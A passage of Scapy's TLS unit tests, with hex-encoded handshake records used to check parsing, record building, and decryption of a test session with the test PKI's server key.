b'\\x16\\x03\\x03\\x00F\\x10\\x00\\x00BA\\x04w_\\xba\\x8cX9\\xab\\x1f\\x1drw\\xaa\\x08\"\\xe6\\x05\\x8eS\\x8637\\xb75\\xe4\\x1f\\xc3H-\\x12\\xf4\\xbb\\x10\\xf8\\xb8.[?\\x11sG\\x0b\\x18\\x03}\\x16n\\n\\xdb\\x7f\\x92\\xear\\xd1\\x1a\\x07.e;\\xfc\\xcer\\x1f\\xebA\\x14\\x03\\x03\\x00\\x01\\x01\\x16\\x03\\x03\\x00$\\x14\\x00\\x00\\x0cYX\\xacX\\xb81\\x1fX\\x8f\\xbe\\x1dJ\\x10\\xce\\xca2\\xb4\\xc3m\\xf1\\x16c\\xdb\\xfc\\x08\\x16\\x1d\\x82\\x83U\\x8c\\xe1'\np7_ccs = b'\\x14\\x03\\x03\\x00\\x01\\x01'\np8_sfin = b'\\x17\\x03\\x03\\x00$\\x14\\x00\\x00\\x0c8\\x1f\\x18\\xb6f\\x98\\xe3\\xc0\\xa4\\xe2\\xf8\\xba\\n\\xd7\\xd0\\xb93y]\\x1a\\n\\xeb\\xc39nd\\xa5\\xd7\\x8c\\xe5\\xf9\\x91'\n\n= Reading TLS test session\nt1 = TLS(p1_ch)\nt2 = TLS(p2_sh, tls_session=t1.tls_session.mirror())\nt3 = TLS(p3_cert, tls_session=t2.tls_session)\nt4 = TLS(p4_ske, tls_session=t3.tls_session)\nt5 = TLS(p5_shd, tls_session=t4.tls_session)\nt6 = TLS(p6_cke_ccs_cfin, tls_session=t5.tls_session.mirror())\n\n= Verify TLSClientKeyExchange\ncke = t6.msg[0]\nassert isinstance(cke, TLSClientKeyExchange)\n\n= Verify TLSChangeCipherSpec\nccs = t6.payload.msg[0]\nassert isinstance(ccs, TLSChangeCipherSpec)\n\n= Verify TLSFinished\nfrom scapy.layers.tls.handshake import TLSFinished\ncfin = t6.payload.payload.msg[0]\nassert isinstance(cfin, TLSFinished)\n\n= Verify MAC - TLSFinished record\nassert (t6.payload.payload.mac == b'\\x10\\xce\\xca2\\xb4\\xc3m\\xf1\\x16c\\xdb\\xfc\\x08\\x16\\x1d\\x82\\x83U\\x8c\\xe1')\n\n###############################################################################\n################## Reading TLS vulnerable test session ########################\n###############################################################################\n\n# These packets come from a session between an s_server and an s_client.\n# We assume the server's private key has been retrieved. Because the cipher\n# suite does not provide PFS, we are able to break the data confidentiality.\n\n+ Read a vulnerable TLS session\n~ server_rsa_key\n\n= Reading TLS vulnerable session - Decrypt data from using a compromised server key\nload_layer(\"tls\")\n\nfrom scapy.layers.tls.cert import PrivKeyRSA\nfrom scapy.layers.tls.record import TLSApplicationData\nimport os\nfilename = scapy_path(\"/test/scapy/layers/tls/pki/srv_key.pem\")\nkey = PrivKeyRSA(filename)\nch = b'\\x16\\x03\\x01\\x005\\x01\\x00\\x001\\x03\\x01X\\xac\\x0e\\x8c\\xe46\\xe9\\xedo\\xda\\x085$M\\xae$\\x90\\xd9\\xa93\\xb7(\\x13J\\xf9\\xc5?\\xef\\xf4\\x96\\xa1\\xfa\\x00\\x00\\x04\\x00/\\x00\\xff\\x01\\x00\\x00\\x04\\x00#\\x00\\x00'\nsh = b'\\x16\\x03\\x01\\x005\\x02\\x00\\x001\\x03\\x01\\x88\\xac\\xd4\\xaf\\x93~\\xb5\\x1b8c\\xe7)\\xa6\\x9b\\xa9\\xed\\xf3\\xf3*\\xdb\\x00\\x8bB\\xf6\\n\\xcbz\\x8eP\\x83`G\\x00\\x00/\\x00\\x00\\t\\xff\\x01\\x00\\x01\\x00\\x00#\\x00\\x00\\x16\\x03\\x01\\x03\\xac\\x0b\\x00\\x03\\xa8\\x00\\x03\\xa5\\x00\\x03\\xa20\\x82\\x03\\x9e0\\x82\\x02\\x86\\xa0\\x03\\x02\\x01\\x02\\x02\\t\\x00\\xfe\\x04W\\r\\xc7\\'\\xe9\\xf60\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x000T1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x160\\x14\\x06\\x03U\\x04\\x03\\x0c\\rScapy Test CA0\\x1e\\x17\\r160916102811Z\\x17\\r260915102811Z0X1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02MN1\\x140\\x12\\x06\\x03U\\x04\\x07\\x0c\\x0bUlaanbaatar1\\x170\\x15\\x06\\x03U\\x04\\x0b\\x0c\\x0eScapy Test PKI1\\x1a0\\x18\\x06\\x03U\\x04\\x03\\x0c\\x11Scapy Test Server0\\x82\\x01\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\\n\\x02\\x82\\x01\\x01\\x00\\xcc\\xf1\\xf1\\x9b`-`\\xae\\xf2\\x98\\r\\')\\xd9\\xc0\\tYL\\x0fJ0\\xa8R\\xdf\\xe5\\xb1!\\x9fO\\xc3=V\\x93\\xdd_\\xc6\\xf7\\xb3\\xf6U\\x8b\\xe7\\x92\\xe2\\xde\\xf2\\x85I\\xb4\\xa1,\\xf4\\xfdv\\xa8g\\xca\\x04 `\\x11\\x18\\xa6\\xf2\\xa9\\xb6\\xa6\\x1d\\xd9\\xaa\\xe5\\xd9\\xdb\\xaf\\xe6\\xafUW\\x9f\\xffR\\x89e\\xe6\\x80b\\x80!\\x94\\xbc\\xcf\\x81\\x1b\\xcbg\\xc2\\x9d\\xb5\\x05w\\x04\\xa6\\xc7\\x88\\x18\\x80xh\\x956\\xde\\x97\\x1b\\xb6a\\x87B\\x1au\\x98E\\x82\\xeb>2\\x11\\xc8\\x9b\\x86B9\\x8dM\\x12\\xb7X\\x1b\\x19\\xf3\\x9d+\\xa1\\x98\\x82\\xca\\xd7;$\\xfb\\t9\\xb0\\xbc\\xc2\\x95\\xcf\\x82)u\\x16)?B \\x17+M@\\x8cVl\\xad\\xba\\x0f4\\x85\\xb1\\x7f@yqx\\xb7\\xa5\\x04\\xbb\\x94\\xf7\\xb5A\\x95\\xee|\\xeb\\x8d\\x0cyhY\\xef\\xcb\\xb3\\xfa>x\\x1e\\xeegLz\\xdd\\xe0\\x99\\xef\\xda\\xe7\\xef\\xb2\\t]\\xbe\\x80 !\\x05\\x83,D\\xdb]*v)\\xa5\\xb0#\\x88t\\x07T\"\\xd6)z\\x92\\xf5o-\\x9e\\xe7\\xf8&+\\x9cXe\\x02\\x03\\x01\\x00\\x01\\xa3o0m0\\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x0b\\x06\\x03U\\x1d\\x0f\\x04\\x04\\x03\\x02\\x05\\xe00\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xa1+ p\\xd2k\\x80\\xe5e\\xbc\\xeb\\x03\\x0f\\x88\\x9ft\\xad\\xdd\\xf6\\x130\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14fS\\x94\\xf4\\x15\\xd1\\xbdgh\\xb0Q725\\xe1\\xa4\\xaa\\xde\\x07|0\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x010\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00\\x81\\x88\\x92sk\\x93\\xe7\\x95\\xd6\\xddA\\xee\\x8e\\x1e\\xbd\\xa3HX\\xa7A5?{}\\xd07\\x98\\x0e\\xb8,\\x94w\\xc8Q6@\\xadY\\t(\\xc8V\\xd6\\xea[\\xac\\xb4\\xd8?h\\xb7f\\xca\\xe1V7\\xa9\\x00e\\xeaQ\\xc9\\xec\\xb2iI]\\xf9\\xe3\\xc0\\xedaT\\xc9\\x12\\x9f\\xc6\\xb0\\nsU\\xe8U5`\\xef\\x1c6\\xf0\\xda\\xd1\\x90wV\\x04\\xb8\\xab8\\xee\\xf7\\t\\xc5\\xa5\\x98\\x90#\\xea\\x1f\\xdb\\x15\\x7f2(\\x81\\xab\\x9b\\x85\\x02K\\x95\\xe77Q{\\x1bH.\\xfb>R\\xa3\\r\\xb4F\\xa9\\x92:\\x1c\\x1f\\xd7\\n\\x1eXJ\\xfa.Q\\x8f)\\xc6\\x1e\\xb8\\x0e1\\x0es\\xf1\\'\\x88\\x17\\xca\\xc8i\\x0c\\xfa\\x83\\xcd\\xb3y\\x0e\\x14\\xb0\\xb8\\x9b/:-\\t\\xe3\\xfc\\x06\\xf0:n\\xfd6;+\\x1a\\t*\\xe8\\xab_\\x8c@\\xe4\\x81\\xb2\\xbc\\xf7\\x83g\\x11nN\\x93\\xea\"\\xaf\\xff\\xa3\\x9awWv\\xd0\\x0b8\\xac\\xf8\\x8a\\x945\\x8e\\xd7\\xd4a\\xcc\\x01\\xff$\\xb4\\x8fa#\\xba\\x88\\xd7Y\\xe4\\xe9\\xba*N\\xb5\\x15\\x0f\\x9c\\xd0\\xea\\x06\\x91\\xd9\\xde\\xab\\x16\\x03\\x01\\x00\\x04\\x0e\\x00\\x00\\x00'\nck = b\"\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00w\\x93\\xec\\xfa\\xf3\\xdf[\\x9a4\\xa7\\x9e\\xcd\\x06=\\x8dH\\xf1\\x069\\x8c\\x06\\x01S\\xf7\\xb5\\x16h\\xf6\\xd5 I\\xd7\\xf0\\xc5Z\\xf6\\xe0f7\\x95\\x91\\xddNC\\xe7$\\xf5\\xdaZ\\xcdG\\xd8\\x14\\xcaV\\x98\\xc4\\xb2\\x8cm\\xe51@\\x9b\\x9c\\xb8\\xadul\\xd0\\xdf\\xf2\\xd7@Q\\xe4\\x05J\\xf31[\\xdf\\xc8'(\\x8f#\\xf0\\xc4\\x1c\\xc6\\x07G\\xb327\\x85\\xad\\xa2\\xa6\\xa2E\\x18\\x85rP\\xb8\\x86uL\\\\7\\x82\\x18\\xceh\\xc6\\xd1\\xf4\\xcc\\xb9VN\\x85\\x7f9c\\x92\\t\\x96\\x8e\\x80\\x06\\xe4\\r\\xbfu<\\xabgP^z\\xc7\\xfd\\x8e\\x12t^\\xb7\\xc7Lr\\xdc5\\xf8\\xa7\\xdb\\x9c\\xbd\\xd5\\xad\\xabP<\\xe7\\x9f%f\\xb4\\xd8\\xf4\\xf0~\\x99\\xbeZ\\xe9\\xbc\\x0c9\\r\\xb2Uq\\xfcd\\xa4\\xda\\x89\\x90\\xd1\\x15\\x05\\xcc\\x00\\xb1\\xcd\\xa9c\\xb4\\xe8\\x7fRH\\xbd\\xe1\\xd2\\xd8\\x9c\\xb6\\xd2\\x8dq9\\xe5\\t\\xeb\\xfc\\x1b\\x06\\xac\\xab\\x96\\xa7\\xfd{\\xdf\\xf2\\x16\\r\\xd6'\\xb8\\xd3\\xa5L\\xc8\\x08 \\xb9\\xccN\\xe5\\xf0\\xa0S\\xf3\\xc3\\xc9\\xdf\\xee\\xd0\\r\\xd8[\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000~\\x01\\xe1!2\\x90\\xba\\xc8 \\xb6\\x8c\\xb7\\xd9\\xf5\\x80\\x1d$Z^\\xc8\\xa3\\x9f\\xb3\\xf1M\\x0c\\xd1\\xedd\\xb1'\\x0f\\xe4ER\\xc9\\xf7L\\xf3;\\xc1\\xbaz\\xfa\\xb76\\xe3q\"\nfin = b\"\\x16\\x03\\x01\\x00\\xaa\\x04\\x00\\x00\\xa6\\x00\\x00\\x1c \\x00\\xa0*\\xf5.4:\\xe4;t\\xf0v\\xed\\xeaLX\\xa5\\xce*@\\xe7\\x83\\rWx\\xadWkM-\\x95\\xe7\\x98\\xcb6x\\xeb\\xca\\xfe8\\xf5\\x84*\\x9bAmZ/o9\\xb03\\xea\\x1e\\x99\\xfdQ\\xbfe\\r\\xe8W\\xd5\\xdb\\xdd\\x83\\x90\\x14\\xc6\\xef\\x10s\\x15\\xff\\xc2U\\xce\\xb0\\x00\\x11\\x02|\\xed\\x99\\xbac\\xfb\\x03M\\xce\\xd3\\x92\\xbe\\x98\\x95\\x1c\\xef\\x9b\\xb1\\xd6,\\x0c6Td\\xc9j*\\x17\\xb9\\xde\\x13\\x8f\\xba[\\xbcD\\x1b\\x9a~\\xe9\\xa2\\xf3\\xa4V3\\xfe\\xd6'\\xc8i+\\xb0m\\xf8&\\x86\\x83\\xaa\\xe5\\x1d\\x06\\x07lOx\\x06 \\x02\\xbe\\xfe\\xda\\x93-\\x9fk\\xeaHu\\x8a\\xec_\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000Pc\\xe0T+\\x17\\\\>\\xd0\\xbc\\xe6Xx}\\xe5\\xa26\\xea\\x0b\\xad\\x1bY\\x1b\\x05,\\x7f\\xeeQ\\xd6\\xea!\\x9d.\\xe0\\xf3\\x88\\xe6'jV\\xfdz]M'\\xcejJ\"\ndata = b'\\x17\\x03\\x01\\x00 \\xe8\\x91\\'mRT\\x17\\xa1\\xd6}+\\x80\\x02\\xda\\xadw.\\x82TA\\'\\xdep\\xa4\\xe1\\xb1H\\xa9\\xb1\\x81gw\\x17\\x03\\x01\\x00P\\xddD\\x18\\xdb\\x82pz\\xb75>\\x1c\\xd7\\xa9=\\x18C\\xbd\\xf0F\\xa1k\\x0c\\xe5&\\xf2\\xdf\\x97\\xf0\\xab5\\xf41W\\x85 \\xcf\\xd9\\x98\\xa4\\xe8\\xcc\\xff \\x1c\\xbc\\xb3U\\xc8\\x9c>\\xc4$\\xa5U\\xc6\\xd4\\x1f\"\\xce\\xf0\\x98\\xf0D\\xd2\\x1d\\r*\\x99*\\xdcd4?\\xc9\\x0b\\xa6\\xb2\\x81%\\xfc'\nt = TLS(ch)\nt = TLS(sh, tls_session=t.tls_session.mirror())\nt.tls_session.server_rsa_key = key\nt = TLS(ck, tls_session=t.tls_session.mirror())\nt = TLS(fin, tls_session=t.tls_session.mirror())\nt = TLS(data, tls_session=t.tls_session.mirror())\nassert len(t.msg) == 1\nassert isinstance(t.msg[0], TLSApplicationData)\nassert t.msg[0].data == b\"\"\nt.getlayer(TLS, 2).msg[0].data == b\"To boldly go where no man has gone before...\\n\"\n\n= Auto-provide the session: use TCPSession with conf.tls_session_enable\n\nconf.debug_dissector = 2\n\nconf.tls_session_enable = True\nconf.tls_sessions.server_rsa_key = key\n\nclient = \"192.168.0.1\"\nserver = \"1.2.3.4\"\nbc = Ether()/IP(src=client, dst=server)/TCP(sport=51478, dport=443, seq=RandShort())\nbs = Ether()/IP(src=server, dst=client)/TCP(sport=443, dport=51478, seq=RandShort())\n\npcap = [\n    bc/ch,\n    bs/sh,\n    bc/ck,\n    bs/fin,\n    bc/data\n]\nres = sniff(offline=pcap, session=TCPSession)\n\nres[4].show()\nassert res[4].getlayer(TLS, 2).msg[0].data == b\"To boldly go where no man has gone before...\\n\"\n\nconf.tls_session_enable = False\n\n###############################################################################\n############################## Building packets ###############################\n###############################################################################\n\n+ Build TLS packets\n\n= Building packets - Various default records\nfrom scapy.layers.tls.handshake import TLSCertificate\nfrom scapy.layers.tls.record import TLSAlert\nraw(TLS())\nraw(TLSClientHello())\nraw(TLSServerHello())\nraw(TLSCertificate())\nraw(TLSServerKeyExchange())\nraw(TLSClientKeyExchange())\nraw(TLSAlert())\nraw(TLSChangeCipherSpec())\nraw(TLSApplicationData()) == b\"\"\n\n\n= Building packets - ClientHello with automatic length computation\nfrom scapy.layers.tls.crypto.suites import (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\nTLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,\nTLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\nTLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA,\nTLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA,\nTLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA)\n\nfrom scapy.layers.tls.extensions import (ServerName, TLS_Ext_SupportedEllipticCurves,\nProtocolName)\n\nch = TLSClientHello()\nch.msgtype = 'client_hello'\nch.version = 'TLS 1.2'\nch.gmt_unix_time = 0x26ee2ddd\nch.random_bytes = b'X\\xe1\\xb1T\\xaa\\xb1\\x0b\\xa0zlg\\xf8\\xd14]%\\xa9\\x91d\\x08\\xc7t\\xcd6\\xd4\"\\x9f\\xcf'\nch.ciphers = [TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]\nch.comp = 'null'\next1 = TLS_Ext_ServerName(servernames=ServerName(servername='mn.scapy.wtv'))\next2 = TLS_Ext_RenegotiationInfo()\next3 = TLS_Ext_SupportedEllipticCurves(groups=['secp256r1', 'secp384r1', 'secp521r1'])\next4 = TLS_Ext_SupportedPointFormat(ecpl='uncompressed')\next5 = TLS_Ext_SessionTicket()\next6 = TLS_Ext_NPN()\next7 = TLS_Ext_ALPN(protocols=[ProtocolName(protocol='h2-16'), ProtocolName(protocol='h2-15'), ProtocolName(protocol='h2-14'), ProtocolName(protocol='h2'), ProtocolName(protocol='spdy/3.1'), ProtocolName(protocol='http/1.1')])\next8 = TLS_Ext_CSR(stype='ocsp', req=OCSPStatusRequest())\next9 = TLS_Ext_SignatureAlgorithms(sig_algs=['sha256+rsa', 'sha384+rsa', 'sha512+rsa', 'sha1+rsa', 'sha256+ecdsa', 'sha384+ecdsa', 'sha512+ecdsa', 'sha1+ecdsa', 'sha256+dsa', 'sha1+dsa'])\nch.ext = [ext1, ext2, ext3, ext4, ext5, ext6, ext7, ext8, ext9]\nt = TLS(type='handshake', version='TLS 1.0', msg=ch)\nraw(t) == b'\\x16\\x03\\x01\\x00\\xc7\\x01\\x00\\x00\\xc3\\x03\\x03&\\xee-\\xddX\\xe1\\xb1T\\xaa\\xb1\\x0b\\xa0zlg\\xf8\\xd14]%\\xa9\\x91d\\x08\\xc7t\\xcd6\\xd4\"\\x9f\\xcf\\x00\\x00\\x16\\xc0+\\xc0/\\xc0\\n\\xc0\\t\\xc0\\x13\\xc0\\x14\\x003\\x009\\x00/\\x005\\x00\\n\\x01\\x00\\x00\\x84\\x00\\x00\\x00\\x11\\x00\\x0f\\x00\\x00\\x0cmn.scapy.wtv\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\x08\\x00\\x06\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x003t\\x00\\x00\\x00\\x10\\x00)\\x00\\'\\x05h2-16\\x05h2-15\\x05h2-14\\x02h2\\x08spdy/3.1\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x16\\x00\\x14\\x04\\x01\\x05\\x01\\x06\\x01\\x02\\x01\\x04\\x03\\x05\\x03\\x06\\x03\\x02\\x03\\x04\\x02\\x02\\x02'\n\n= Building packets - application data with Encrypt-then-MAC\nsession = tlsSession(\n    rcs=connState(ciphersuite=TLS_RSA_WITH_AES_256_CBC_SHA256),\n    wcs=connState(ciphersuite=TLS_RSA_WITH_AES_256_CBC_SHA256),\n)\nsession.encrypt_then_mac = True\nsession.tls_version = 0x0303\nsession.rcs.cipher.key = b'A' * 32\nsession.wcs.cipher.key = b'A' * 32\npayload = b'PAYLOAD'\ntlsdata = TLS(msg=TLSApplicationData(data=payload), tls_session=session)\nt = TLS(raw(tlsdata), tls_session=session.mirror())\nassert t[0].msg[0].data == payload\n\n= Building packets - ServerHello context linking\nfrom scapy.layers.tls.crypto.kx_algs import KX_ECDHE_RSA\nfrom scapy.layers.tls.crypto.cipher_block import Cipher_AES_256_CBC\nsh = TLSServerHello(gmt_unix_time=0x41414141, random_bytes='B'*28, cipher=0xc014)\nt = TLS(msg=sh)\nt.raw_stateful()\nassert isinstance(t.tls_session.pwcs.ciphersuite, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA)\nassert isinstance(t.tls_session.pwcs.key_exchange, KX_ECDHE_RSA)\nassert isinstance(t.tls_session.pwcs.cipher, Cipher_AES_256_CBC)\nassert isinstance(t.tls_session.pwcs.hmac, Hmac_SHA)\nt.tls_session.server_random == b'A'*4+b'B'*28\n\n\n= Building packets - ChangeCipherSpec with forged, forbidden field values\nt = TLS(msg=TLSChangeCipherSpec())\nassert raw(t) == b'\\x14\\x03\\x03\\x00\\x01\\x01'\nt.len = 0\nassert raw(t) == b'\\x14\\x03\\x03\\x00\\x00\\x01'\nt.type = 0xde\nt.version = 0xadbe\nt.len = 0xefff\nraw(t) == b'\\xde\\xad\\xbe\\xef\\xff\\x01'\n\n\n= Building packets - TLS record with bad data\na = TLS(b'\\x17\\x03\\x03\\x00\\x03data')\nassert a[Raw]\n\n\n= Building packets - _CipherSuitesField with no cipher\nfrom scapy.layers.tls.handshake import _CipherSuitesField\na = _CipherSuitesField(\"test\", None, {})\nassert a.i2repr(None, None) == \"None\"\nassert isinstance(a.randval(), RandBin)\n\n\n= Building packets - TLSClientKeyExchange with bad data\na = TLSClientKeyExchange(raw(TLSClientKeyExchange(exchkeys=\"baddata\")))\nassert a.haslayer(Raw)\n\n\n= Building packets - Perform dummy session update\nfrom scapy.layers.tls.handshake import TLSHelloRequest\nassert not TLSHelloRequest().tls_session_update(None)\n\n\n= Cryptography module is unavailable\n~ mock\nfrom unittest import mock\n\n@mock.patch(\"scapy.layers.tls.crypto.suites.get_algs_from_ciphersuite_name\")\ndef test_tls_without_cryptography(get_algs_from_ciphersuite_name_mock):\n    get_algs_from_ciphersuite_name_mock.return_value = (scapy.layers.tls.crypto.kx_algs.KX_ECDHE_RSA, None, None, scapy.layers.tls.crypto.hash.Hash_SHA256, False)\n    sh = IP()/TCP()/TLS(msg=TLSServerHello(cipher=0xc02f))\n    assert raw(sh)\n    sh2 = Ether(b\"\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\x86\\xdd`\\x04Z\\xd8\\x02\\x19\\x06@\\xcfm\\xack|z\\xae\\xac\\x9d\\x8d'\\xba\\xa2Cs\\xcc\\x07\\x8f\\x91\\xbdk\\x0e\\x1e\\xdb\\xf6\\xbe\\xc3\\xa1\\xfc\\xa5\\x15\\xca\\xd6#\\x01\\xbb\\xeeC\\xc0H\\xea\\xa2\\x9a,P\\x18\\x00\\xffu\\xf0\\x00\\x00\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03W`\\xb4|\\n5E\\x11\\xe8\\xb5\\xa3\\x9c\\xea\\xa6I\\x99N\\xcd\\xe9j\\x8d\\xfe\\xa8%\\x8b\\xceC\\xf8w\\x94gV \\x13\\x0b\\xdf}\\xad\\xbf\\xbe67\\xba\\xcf\\x9c\\xfa\\x92\\xc2\\xeeS\\xf6DL\\x19\\xb3\\xe4`H\\x84\\xcb]h\\xb4\\xbb\\xba\\x00\\x1cZZ\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x97\\xba\\xba\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x11\\x00\\x0f\\x00\\x00\\x0cfacebook.com\\x00\\x17\\x00\\x00\\x00#\\x00\\xc0\\x8a`K^\\x7fF\\x05K\\x95\\x85\\x1c\\xec\\x9f\\xff\\x9b\\x85T\\x85=<\\xbc\\xfb\\xe4n4\\xe9W+\\xfanM\\xa7\\x8c.\\x95\\x9e\\xf0\\xfb\\x93\\x91\\xa9\\x87\\x12o\\xc8\\x99\\xe8\\x94_\\xca\\xceH(\\xcai\\xdf\\xe8\\xcf7\\x05v\\xd4\\x9e\\x85\\x86\\x19\\xe4\\xb6\\xf9K\\n\\xb2\\xfd\\xa1\\xa3r\\x9f\\xec\\x05\\xd4\\xbc\\x1bU\\x9a\\x89\\x1d)\\xc5\\x85(?@x\\r\\x12Ep\\xb7\\xf8\\x0c\\xe7\\x17Y<\\xbd-\\xd7\\x9a\\x9f^\\xb1k\\x0b\\xcb\\xfd\\xf4\\xb1z\\x06\\xe9Mna\\x9a\\xc8\\xc8\\xdd\\x95\\xa1`N\\xbd/\\x9d\\xd6\\xd9\\x93\\xf4$\\xefq\\x80R\\xc3|\\x9f\\xe1'\\x19\\xf2I\\xf8\\xdbV\\x0b/\\xaex8q\\xb2ZGU\\xf7^\\xa9\\x80\\xf9\\r\\xbfo\\xee\\t\\x01(\\x93\\x12g\\x1frXUa\\xdc\\x8d*F\\xb8\\xc6\\xe2\\xb6\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1uP\\x00\\x00\\x00\\x0b\\x00\\x02\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18zz\\x00\\x01\\x00\\x00\\x15\\x00Y\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n    assert TLS in sh2\n    assert isinstance(sh2.msg[0], TLSClientHello)\n\ntest_tls_without_cryptography()\n\n= Truncated TCP segment\n\nwith no_debug_dissector():\n    pkt = Ether(bytes.fromhex('00155dfb587a00155dfb58430800450005dc54d3400070065564400410d40a00000d01bb044e8b86744e16063ac45010faf06ba9000016030317c30200005503035cb336a067d53a5d2cedbdfec666ac740afbd0637ddd13eddeab768c3c63abee20981a0000d245f1c905b329323ad67127cd4b907a49f775c331d0794149aca7cdc02800000d0005000000170000ff010001000b000ec6000ec300090530820901308206e9a00302010202132000036e72aded906765595fae000000036e72300d06092a864886f70d01010b050030818b310b30090603550406130255533113'))\n    assert conf.padding_layer in pkt\n\n###############################################################################\n########################### TLS Misc tests ####################################\n###############################################################################\n\n= Test tlsSession\nfrom scapy.layers.tls.session import tlsSession\ns = tlsSession(ipsrc=\"216.58.201.227\", ipdst=\"127.0.0.1\", sport=443, dport=443, sid=1)\nassert s.__repr__() == \"216.58.201.227:443 > 127.0.0.1:443\"\nassert s == s\nassert hash(s) == hash(s)\nassert not s.consider_write_padding()\n\n\n= Test connState\nassert s.wcs.__repr__() == 'Connection end : SERVER\\nCipher suite   : TLS_NULL_WITH_NULL_NULL (0x0000)\\nCompression    : null (0x00)\\n'\n\n= Test tls.tools\ndef test_tls_tools():\n    from scapy.layers.tls.crypto.compression import Comp_Deflate\n    from scapy.layers.tls.crypto.common import CipherError\n    from scapy.layers.tls.crypto.cipher_stream import Cipher_RC4_40\n    from scapy.layers.tls.crypto.cipher_aead import (Cipher_AES_128_GCM,\n                                                     Cipher_AES_128_GCM_TLS13)\n    from scapy.layers.tls.crypto.hash import Hash_SHA256\n    from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip\n    from scapy.layers.tls.tools import TLSPlaintext, TLSCompressed, TLSCiphertext\n    from scapy.layers.tls.tools import _tls_compress, _tls_decompress\n    from scapy.layers.tls.tools import _tls_mac_add, _tls_mac_verify\n    from scapy.layers.tls.tools import _tls_add_pad, _tls_del_pad\n    from scapy.layers.tls.tools import _tls_encrypt, _tls_decrypt\n    from scapy.layers.tls.tools import _tls_aead_auth_encrypt, _tls_aead_auth_decrypt\n    plain = TLSPlaintext()\n    plain.type = 'application_data'\n    plain.version = 'TLS 1.2'\n    plain.data = b'X\\xe1\\xb1T\\xaa\\xb1\\x0b\\xa0zlg\\xf8\\xd14]%\\xa9\\x91d\\x08\\xc7t\\xcd6\\xd4\"\\x9f\\xcf'\n    plain.len = len(plain.data)\n    # Compress/decompress test\n    alg = Comp_Deflate()\n    comp = _tls_compress(alg, plain)\n    assert isinstance(comp, TLSCompressed)\n    assert comp != plain\n    dcomp = _tls_decompress(alg, comp)\n    assert isinstance(dcomp, TLSPlaintext)\n    assert dcomp == plain\n    # Encrypt/decrypt test\n    